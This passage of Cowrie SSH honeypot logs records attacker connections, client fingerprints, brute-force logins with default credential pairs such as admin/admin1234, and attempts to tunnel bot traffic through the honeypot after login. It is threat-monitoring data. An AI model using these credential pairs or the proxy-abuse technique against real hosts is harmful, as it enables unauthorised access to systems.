\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x88x7\\x0b\\xcb\\xdeH\\x1b\\xe46\\xc8p\\ns&\\x8a\\x84:\\xec)\\x94\\x8aD\\x90\\xc1)]\\xab\\xf53\\xbb$ >\\xfeT\\x15\\nhc\\xb8z\\x1c\"1\\xe2\\n.<1\\xc5\\xd4\\x8f{\\\\\\xeb\\xccY\\x08\\xe8~\\xcci\\xc7\\x01\\x00\"\\x1a\\x1a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91**\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xfa\\xfa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xfa\\xfa\\x00\\x01\\x00\\x00\\x1d\\x00 \\xa0\\x9e\\xcf\\xab0\\xf8\\xbd\\x16Ip\\xefx KY\\xbb\\'\\xce\\xfe\\xde\\xc0\\xaf#}\\xb6,\\x8at\\xc3\\x11\\xb0F\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xfa\\xfa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02::\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:03:49.446595Z","src_ip":"123.27.168.40","session":"533bfac0141c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.9","message":"Connection lost after 3.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:03:49.825744Z","src_ip":"123.27.168.40","session":"533bfac0141c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"173.208.188.210","src_port":64397,"dst_ip":"10.17.0.5","dst_port":22,"session":"580efc54643b","protocol":"ssh","message":"New connection: 173.208.188.210:64397 (10.17.0.5:22) [session: 580efc54643b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:03:55.022320Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:03:55.033676Z","src_ip":"173.208.188.210","session":"580efc54643b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:03:55.306609Z","src_ip":"173.208.188.210","session":"580efc54643b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"38.2","message":"Connection lost after 38.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:03:56.206616Z","src_ip":"23.175.50.52","session":"7b3b633f7be6","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:03:56.957077Z","src_ip":"173.208.188.210","session":"580efc54643b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.79.165.43","src_port":34718,"dst_ip":"159.203.135.109","dst_port":22,"session":"232f4e2ee6bb","protocol":"ssh","message":"New connection: 101.79.165.43:34718 (159.203.135.109:22) [session: 232f4e2ee6bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:03:59.552184Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:03:59.560131Z","src_ip":"101.79.165.43","session":"232f4e2ee6bb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:03:59.774576Z","src_ip":"101.79.165.43","session":"232f4e2ee6bb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"iptv","password":"iptv123","message":"login attempt [iptv/iptv123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:04:00.638317Z","src_ip":"101.79.165.43","session":"232f4e2ee6bb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:04:01.859820Z","src_ip":"101.79.165.43","session":"232f4e2ee6bb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.27.168.40","src_port":57379,"dst_ip":"10.17.0.5","dst_port":22,"session":"0aad5c380526","protocol":"ssh","message":"New connection: 123.27.168.40:57379 (10.17.0.5:22) [session: 0aad5c380526]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:04:02.458800Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:04:02.467183Z","src_ip":"123.27.168.40","session":"0aad5c380526","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:04:02.728508Z","src_ip":"123.27.168.40","session":"0aad5c380526","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:04:03.952507Z","src_ip":"123.27.168.40","session":"0aad5c380526","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:04:04.356839Z","session":"0aad5c380526","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:04:04.495183Z","session":"0aad5c380526","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:04:04.613836Z","src_ip":"123.27.168.40","session":"0aad5c380526","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1186\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=WmVCL0IhM25VekYyaX1qRw%3D%3DrjWMmEuqc%2FaeqnE%2FEl7rZyGGVZx5UbygbF7r%2FAMu3ug3y7XBIC9xIiGr3jJZcANbROLZPSc01%2FR7mZiRaQAvcMY4bWit0Bo3O%2BS7rQrpTF3RsMCASpju7QjjLPvvBbO6gPsxQI7Q7aXawrFG57kWn%2BEtOC%2FfqdB%2FqJA4MBIdW8jfDklcFMclLxRlGRr2%2B5PCeHCXxsB2p0TwPEAccsi25h6t6bEgxMJNCynGW6BwLBwUXDR04Trhdc27ldkyx%2ByeyD32tuNPJ4OFL6CnGJ%2BwORj5ies1q2SsrR1fCb9VsE0IagqFjIjsz195CZPNS52QikO25GZJWZeaZyeptPfeOaU3FpJ%2BHFdRmAlH3Q3UW5fBd10kRSnHLIJXzlx%2FxwRx%2FGuD09yCWh8NFzRJx2GFod7EufWWcsvbmLfxTvXknyU2RathJcXDAhAtV%2BHLUJVm9AUv5EMeztm8Uexzj76S7HaWTGfg%2FCBIcA8EH%2BpcbtTDtYB2jdNleDk%2FrJdzcaxhDg5%2FO%2FydqjQhWT7eSwPk9eiQPmFKoPDMZOc5DtnEp8Wy%2FTwhqMsu89h0psAJ0CZJZVlAiJ57%2FLVaAQot0Kmv8jxVnwOMEPL29xYqipvQPAIfshZsEOxXaVFWmmdvSBGtbJqBBy7P4tuSX2L8MVFsfy7TTsbx5LC0wvE5pY6m%2BSgh7wPzma5UFtCxJ9G3gED8jDaDiT71SRu8YKKu8Fxf1D5dL6tBAHrHc2AH1ZSD3atrDp7%2BOdjWKPWE71CrQQlPiM4c0O9OxYOVBP9feMfS%2FpkugzcfuBjhmaJFuUZD3xJZMjBvTJ6poNDvr2nJsH8OSJT%2BokTX4ohD3zqY1vFcypjDtIiFFa6xGSFHNq8qi7j9LVsE8du1tDm0cgKvtRjMR9D1VSyN2%2F5R5RT3RWZb3oDSW%2B%2B999aBqa1e82AtYBpYj1JVaU%2BFoGctiCPjhVykhLlI0rEL4NB%2FXA9mAgyy%2FhFqWH28tfNV0tXUud2RsBM2L2bkZ9boK19K9j2WmeIcqjP8JjV98bjBT9DRFY9N4RSLS3oPYwEDXqSyFbi8NoTjqIpan4TQa%2BdIIzd%2Bh6QK'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1186\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=WmVCL0IhM25VekYyaX1qRw%3D%3DrjWMmEuqc%2FaeqnE%2FEl7rZyGGVZx5UbygbF7r%2FAMu3ug3y7XBIC9xIiGr3jJZcANbROLZPSc01%2FR7mZiRaQAvcMY4bWit0Bo3O%2BS7rQrpTF3RsMCASpju7QjjLPvvBbO6gPsxQI7Q7aXawrFG57kWn%2BEtOC%2FfqdB%2FqJA4MBIdW8jfDklcFMclLxRlGRr2%2B5PCeHCXxsB2p0TwPEAccsi25h6t6bEgxMJNCynGW6BwLBwUXDR04Trhdc27ldkyx%2ByeyD32tuNPJ4OFL6CnGJ%2BwORj5ies1q2SsrR1fCb9VsE0IagqFjIjsz195CZPNS52QikO25GZJWZeaZyeptPfeOaU3FpJ%2BHFdRmAlH3Q3UW5fBd10kRSnHLIJXzlx%2FxwRx%2FGuD09yCWh8NFzRJx2GFod7EufWWcsvbmLfxTvXknyU2RathJcXDAhAtV%2BHLUJVm9AUv5EMeztm8Uexzj76S7HaWTGfg%2FCBIcA8EH%2BpcbtTDtYB2jdNleDk%2FrJdzcaxhDg5%2FO%2FydqjQhWT7eSwPk9eiQPmFKoPDMZOc5DtnEp8Wy%2FTwhqMsu89h0psAJ0CZJZVlAiJ57%2FLVaAQot0Kmv8jxVnwOMEPL29xYqipvQPAIfshZsEOxXaVFWmmdvSBGtbJqBBy7P4tuSX2L8MVFsfy7TTsbx5LC0wvE5pY6m%2BSgh7wPzma5UFtCxJ9G3gED8jDaDiT71SRu8YKKu8Fxf1D5dL6tBAHrHc2AH1ZSD3atrDp7%2BOdjWKPWE71CrQQlPiM4c0O9OxYOVBP9feMfS%2FpkugzcfuBjhmaJFuUZD3xJZMjBvTJ6poNDvr2nJsH8OSJT%2BokTX4ohD3zqY1vFcypjDtIiFFa6xGSFHNq8qi7j9LVsE8du1tDm0cgKvtRjMR9D1VSyN2%2F5R5RT3RWZb3oDSW%2B%2B999aBqa1e82AtYBpYj1JVaU%2BFoGctiCPjhVykhLlI0rEL4NB%2FXA9mAgyy%2FhFqWH28tfNV0tXUud2RsBM2L2bkZ9boK19K9j2WmeIcqjP8JjV98bjBT9DRFY9N4RSLS3oPYwEDXqSyFbi8NoTjqIpan4TQa%2BdIIzd%2Bh6QK'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:04:04.618976Z","src_ip":"123.27.168.40","session":"0aad5c380526","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:04:04.866058Z","src_ip":"123.27.168.40","session":"0aad5c380526","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xefw\\x9dQ|\\xbdW\\xd7\\x877\\x1c=*o\\xe7&\\x8c\\xdaI\\xc2y~\\xdcUe\\xc0>\\x1b\\xa9\\xa8\\xa6\\xd1 \\xe8~\\xba\\xc4{\\x1c\\x10v\\xed\\xd6\\x1a\\x97\\xb2^\\x08\\xc3Z\\xf7\\xe3MN\\xbb\\x93\\x87h\\x8a\\\\\\xa0m\\xf5\\xd3\\x1f\\x00 \\x9a\\x9a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93zz\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08zz\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)zz\\x00\\x01\\x00\\x00\\x1d\\x00 k-<\\xc6g\\xdf\\x86\\x17\\x87\\xc8\\xc9\\x08\\xc0\\x9e\\x00\\x13\\xca[\\x9d\\xcaee\\xe5\\xa9/\\xe6!U\\xcf\\xbb\\xa1f\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xca\\xca\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xca\\xca\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xefw\\x9dQ|\\xbdW\\xd7\\x877\\x1c=*o\\xe7&\\x8c\\xdaI\\xc2y~\\xdcUe\\xc0>\\x1b\\xa9\\xa8\\xa6\\xd1 \\xe8~\\xba\\xc4{\\x1c\\x10v\\xed\\xd6\\x1a\\x97\\xb2^\\x08\\xc3Z\\xf7\\xe3MN\\xbb\\x93\\x87h\\x8a\\\\\\xa0m\\xf5\\xd3\\x1f\\x00 \\x9a\\x9a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93zz\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08zz\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)zz\\x00\\x01\\x00\\x00\\x1d\\x00 k-<\\xc6g\\xdf\\x86\\x17\\x87\\xc8\\xc9\\x08\\xc0\\x9e\\x00\\x13\\xca[\\x9d\\xcaee\\xe5\\xa9/\\xe6!U\\xcf\\xbb\\xa1f\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xca\\xca\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xca\\xca\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\